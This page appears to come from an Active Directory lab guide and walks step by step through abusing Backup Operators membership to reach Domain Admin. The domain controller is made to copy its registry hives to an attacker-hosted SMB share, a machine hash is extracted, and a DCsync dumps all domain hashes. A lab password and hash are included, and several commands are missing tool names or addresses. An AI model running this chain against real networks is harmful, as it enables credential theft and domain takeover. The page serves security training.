Backup Operators



The membership of the "Backup Operators" group is configured in the Dumping DPAPI page.

pageDumping DPAPI


How it works

The Backup Operators group is a built in group in AD. By default it has no members.

Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. They also have the permissions needed to replace files (including operating system files) on domain controllers.

One of the known attacks is to copy the ntds.dit file and extract all the domain credentials from it.

I wasn't able to copy the ntds.dit file. There are some write-ups such as these describing how to abuse the "Backup Operator" group through making a shadow copy, but these require winrm access to the DC.

In my attack we will use the tool BackupOperatorToDA from mpgn.


Executing the attack

The small stuff

  • Login to the DC locally (Not through RDP but only locally):

  • List files on the Domain Controller:

  • Copy files from the Domain Controller:

To Domain Admin!

From our enumeration when we gained access to the sa_backup account we know the user is part of the Backup Operators group. We can abuse the permissions by making a copy of the SAM, SYSTEM and SECURITY hive, extract the machine account hash and then execute a DCsync attack.

  1. Login to DATA01 as sa_backup with the password LS6RV5o8T9.

  2. Run the following command to check if the sa_backup user is member of the Backup Operators group.

3. One of the requirements is to host a public SMB share, we can do this with the script from Impacket. This will create a share on \\\share.

python3 /opt/impacket/examples/ share ~/adlab -smb2support

4. The next step is to execute the BackupOperatorToDa.exe tool to retrieve the the SAM, SYSTEN and SECURITY HIVE and save them in our created public share:

.\BackupOperatorToDA.exe -t \\ -u sa_backup -p LS6RV5o8T9 -d secure.local -o \\\share\

If you are using another share, make sure the share is writeable by anyone otherwise the DC won't be able to write its files.

5. If we check in our directory ~/adlab we can see the files: (for the screenshot I made a copy in the HIVE directory)

6. The next step is to run to retrieve the machine account NTLM hash out of these HIVE dumps: LOCAL -system ~/adlab/SYSTEM -security ~/adlab/SECURITY -sam ~/adlab/SAM

7. The last step is to run to run DCsync and retrieve all the domain account hashes: 'secure.local/dc03$' -hashes aad3b435b51404eeaad3b435b51404ee:ba6414d4e6ce546465b256950282c7f3

We retrieved the NTLM account hash of every user in the domain and could authenticate with these to the domain controller. As Administrator for example which is Domain Admin.



  • Never use any of the "Operator" groups. Create specialised groups and minimal permissions for the tasks the different IT departments/roles need. Use the least privilege principal.



Last updated